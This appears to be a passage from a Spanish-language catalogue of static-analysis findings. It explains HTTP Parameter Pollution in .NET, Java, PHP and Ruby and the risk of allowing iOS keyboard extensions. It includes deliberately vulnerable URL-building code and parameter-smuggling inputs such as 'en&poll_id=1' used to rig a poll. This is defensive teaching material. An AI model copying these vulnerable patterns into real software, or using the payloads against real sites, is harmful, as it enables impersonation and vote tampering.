[13] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[15] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.5.6
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.5
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.5
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.5
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.5
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 3.6 - Sensitive Data Retention
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 3.6 - Sensitive Data Retention
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 3.6 - Sensitive Data Retention
[27] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3120 CAT II, APP3620 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3120 CAT II, APP3620 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3120 CAT II, APP3620 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3120 CAT II, APP3620 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3120 CAT II, APP3620 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3120 CAT II, APP3620 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3120 CAT II, APP3620 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002480 CAT II, APSC-DV-002570 CAT II, APSC-DV-002580 CAT II, APSC-DV-003235 CAT II
[48] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[49] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.config.java.flex_misconfiguration_debug_information
Abstract
La concatenación de entradas sin validar en una dirección URL puede permitir a un usuario malintencionado anular el valor de un parámetro de solicitud. El usuario malintencionado puede anular los valores de los parámetros existentes, inyectar un nuevo parámetro o atacar las variables fuera de un alcance directo.
Explanation
Los ataques HPP (HTTP Parameter Pollution) consisten en inyectar delimitadores de cadenas de consulta codificados en otros parámetros existentes. Si una aplicación web no corrige adecuadamente la entrada del usuario, un usuario malintencionado puede poner en peligro la lógica de la aplicación para llevar a cabo ataques del lado de cliente o del servidor. Mediante el envío de parámetros adicionales a una aplicación web y si estos parámetros tienen el mismo nombre que un parámetro existente, la aplicación web puede reaccionar de una de las siguientes maneras:

Solo puede obtener los datos del primer parámetro
Puede obtener los datos del último parámetro
Puede obtener los datos de todos los parámetros y concatenarlos juntos


Por ejemplo:
- ASP.NET/IIS utiliza todas las apariciones de los parámetros
- Apache Tomcat utiliza solo la primera aparición e ignora las demás.
- mod_perl/Apache convierte el valor en una matriz de valores

Ejemplo 1: según el servidor de aplicaciones y la lógica de la propia aplicación, la siguiente solicitud podría provocar confusión en el sistema de autenticación y permitir que un atacante suplante a otro usuario.
http://www.server.com/login.aspx?name=alice&name=hacker

Ejemplo 2: el siguiente código utiliza la entrada de una solicitud HTTP para representar dos hipervínculos.

...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...


URL: http://www.host.com/election.aspx?poll_id=4567
Link1: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=en">inglés<a>
Link2: <a href="http://www.host.com/vote.aspx?poll_id=4567&lang=es">español<a>

El programador no ha tenido en cuenta la posibilidad de que un atacante proporcione un lang como en&poll_id=1 y después pueda modificar el poll_id a su antojo.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - Common Weakness Enumeration CWE ID 235
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[5] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[10] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.dotnet.http_parameter_pollution
Abstract
La concatenación de entradas sin validar en una dirección URL puede permitir a un usuario malintencionado anular el valor de un parámetro de solicitud. El usuario malintencionado puede anular los valores de los parámetros existentes, inyectar un nuevo parámetro o atacar las variables fuera de un alcance directo.
Explanation
Los ataques HPP (HTTP Parameter Pollution) consisten en inyectar delimitadores de cadenas de consulta codificados en otros parámetros existentes. Si una aplicación web no corrige adecuadamente la entrada del usuario, un usuario malintencionado puede poner en peligro la lógica de la aplicación para llevar a cabo ataques del lado de cliente o del servidor. Mediante el envío de parámetros adicionales a una aplicación web y si estos parámetros tienen el mismo nombre que un parámetro existente, la aplicación web puede reaccionar de una de las siguientes maneras:

Solo puede obtener los datos del primer parámetro
Puede obtener los datos del último parámetro
Puede obtener los datos de todos los parámetros y concatenarlos juntos


Por ejemplo:
- ASP.NET/IIS utiliza todas las apariciones de los parámetros
- Apache Tomcat utiliza solo la primera aparición e ignora las demás.
- mod_perl/Apache convierte el valor en una matriz de valores

Ejemplo 1: según el servidor de aplicaciones y la lógica de la propia aplicación, la siguiente solicitud podría provocar confusión en el sistema de autenticación y permitir que un atacante suplante a otro usuario.
http://www.example.com/login.php?name=alice&name=hacker

Ejemplo 2: el siguiente código utiliza la entrada de una solicitud HTTP para representar dos hipervínculos.

...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...


URL: http://www.example.com?poll_id=4567
Link1: <a href="001">English<a>
Link2: <a href="002">Español<a>

El programador no ha tenido en cuenta la posibilidad de que un atacante proporcione un lang como en&poll_id=1 y después modifique poll_id a su antojo.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - Common Weakness Enumeration CWE ID 235
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[5] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[10] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.java.http_parameter_pollution
Abstract
La concatenación de entradas sin validar en una dirección URL puede permitir a un usuario malintencionado anular el valor de un parámetro de solicitud. El usuario malintencionado puede anular los valores de los parámetros existentes, inyectar un nuevo parámetro o atacar las variables fuera de un alcance directo.
Explanation
Los ataques HPP (HTTP Parameter Pollution) consisten en inyectar delimitadores de cadenas de consulta codificados en otros parámetros existentes. Si una aplicación web no corrige adecuadamente la entrada del usuario, un usuario malintencionado puede poner en peligro la lógica de la aplicación para llevar a cabo ataques del lado de cliente o del servidor. Mediante el envío de parámetros adicionales a una aplicación web y si estos parámetros tienen el mismo nombre que un parámetro existente, la aplicación web puede reaccionar de una de las siguientes maneras:

Solo puede obtener los datos del primer parámetro
Puede obtener los datos del último parámetro
Puede obtener los datos de todos los parámetros y concatenarlos juntos


Por ejemplo:
- ASP.NET/IIS utiliza todas las apariciones de los parámetros
- Apache Tomcat utiliza solo la primera aparición e ignora las demás.
- mod_perl/Apache convierte el valor en una matriz de valores

Ejemplo 1: según el servidor de aplicaciones y la lógica de la propia aplicación, la siguiente solicitud podría provocar confusión en el sistema de autenticación y permitir que un atacante suplante a otro usuario.
http://www.server.com/login.php?name=alice&name=hacker

Ejemplo 2: el siguiente código utiliza la entrada de una solicitud HTTP para representar dos hipervínculos.


<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>


URL: http://www.host.com/election.php?poll_id=4567
Link1: <a href="vote.php?poll_id=4567&candidate=white">Vote al Sr. Pérez<a>
Link2: <a href="vote.php?poll_id=4567&candidate=green">Vote a la Sra. González<a>

El programador no ha pensado en la posibilidad de que un usuario malintencionado proporcione un identificador de voto (poll_id) como "4567&candidato=gonzález" y, entonces, la página resultante contenga los siguientes vínculos insertados y, por tanto, la Sra. González reciba los votos en un servidor de aplicaciones que recopile el primer parámetro.
<a href="vote.php?poll_id=4567&candidate=green&candidate=white">Vote al Sr. Pérez<a>
<a href="vote.php?poll_id=4567&candidate=green&candidate=green">Vote a la Sra. González<a>
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - Common Weakness Enumeration CWE ID 235
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[5] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[10] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.http_parameter_pollution
Abstract
La concatenación de entradas sin validar en una dirección URL puede permitir a un usuario malintencionado anular el valor de un parámetro de solicitud. El usuario malintencionado puede anular los valores de los parámetros existentes, inyectar un nuevo parámetro o atacar las variables fuera de un alcance directo.
Explanation
Los ataques HPP (HTTP Parameter Pollution) consisten en inyectar delimitadores de cadenas de consulta codificados en otros parámetros existentes. Si una aplicación web no corrige adecuadamente la entrada del usuario, un usuario malintencionado puede poner en peligro la lógica de la aplicación para llevar a cabo ataques del lado de cliente o del servidor. Mediante el envío de parámetros adicionales a una aplicación web y si estos parámetros tienen el mismo nombre que un parámetro existente, la aplicación web puede reaccionar de una de las siguientes maneras:

Solo puede obtener los datos del primer parámetro
Puede obtener los datos del último parámetro
Puede obtener los datos de todos los parámetros y concatenarlos juntos


Por ejemplo:
- ASP.NET/IIS utiliza todas las apariciones de los parámetros
- Apache Tomcat utiliza solo la primera aparición e ignora las demás.
- mod_perl/Apache convierte el valor en una matriz de valores

Ejemplo 1: según el servidor de aplicaciones y la lógica de la propia aplicación, la siguiente solicitud podría provocar confusión en el sistema de autenticación y permitir que un usuario malintencionado suplante a otro usuario.
http://www.server.com/login.php?name=alice&name=hacker

Como se muestra aquí, el usuario malintencionado ya ha especificado name=alice, pero ha agregado un name=alice& adicional, y si se utiliza en un servidor que tome la primera repetición, podría suplantar a alice para obtener más información sobre su cuenta.
References
[1] HTTP Parameter Pollution Luca Carettoni, Independent Researcher & Stefano Di Paola, MindedSecurity
[2] HTTP Parameter Pollution Vulnerabilities in Web Applications Marco `embyte’ Balduzzi
[3] Standards Mapping - Common Weakness Enumeration CWE ID 235
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[5] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API1 Broken Object Level Authorization
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.1 Input Validation Requirements (L1 L2 L3), 8.1.3 General Data Protection (L2 L3)
[10] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - OWASP Top 10 2021 A03 Injection
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[27] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.ruby.http_parameter_pollution
Abstract
La aplicación permite la instalación de extensiones de teclado de terceros.
Explanation
Se permite que las extensiones de teclado lean cada tecla que pulsa el usuario. Por lo general, los teclados de terceros se usan para facilitar la introducción de texto o para agregar emojis adicionales y pueden registrar lo que el usuario pulsa o incluso enviarlo a un servidor remoto para su procesamiento. Los teclados malintencionados también pueden distribuirse para actuar como un registrador de pulsaciones de teclas y leer todas las teclas pulsadas por el usuario para robar datos confidenciales como credenciales o números de tarjetas de crédito.
References
[1] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[2] UIApplicationDelegate Apple
[3] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [18] CWE ID 522
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [21] CWE ID 522
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.3 Service Authentication Requirements (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 5.3.9 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 12.3.6 File Execution Requirements (L2 L3), 14.2.4 Dependency (L2 L3)
[10] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-3
[11] Standards Mapping - OWASP Top 10 2021 A04 Insecure Design
desc.structural.objc.input_interception_keyboard_extensions_allowed
Abstract
La aplicación permite la instalación de extensiones de teclado de terceros.
Explanation
Se permite que las extensiones de teclado lean cada tecla que pulsa el usuario. Por lo general, los teclados de terceros se usan para facilitar la introducción de texto o para agregar emojis adicionales y pueden registrar lo que el usuario pulsa o incluso enviarlo a un servidor remoto para su procesamiento. Los teclados malintencionados también pueden distribuirse para actuar como un registrador de pulsaciones de teclas y leer todas las teclas pulsadas por el usuario para robar datos confidenciales como credenciales o números de tarjetas de crédito.
References
[1] UIApplicationDelegate Apple
[2] David Thiel iOS Application Security: The Definitive Guide for Hackers and Developers No Starch Press
[3] Standards Mapping - Common Weakness Enumeration CWE ID 522, CWE ID 829
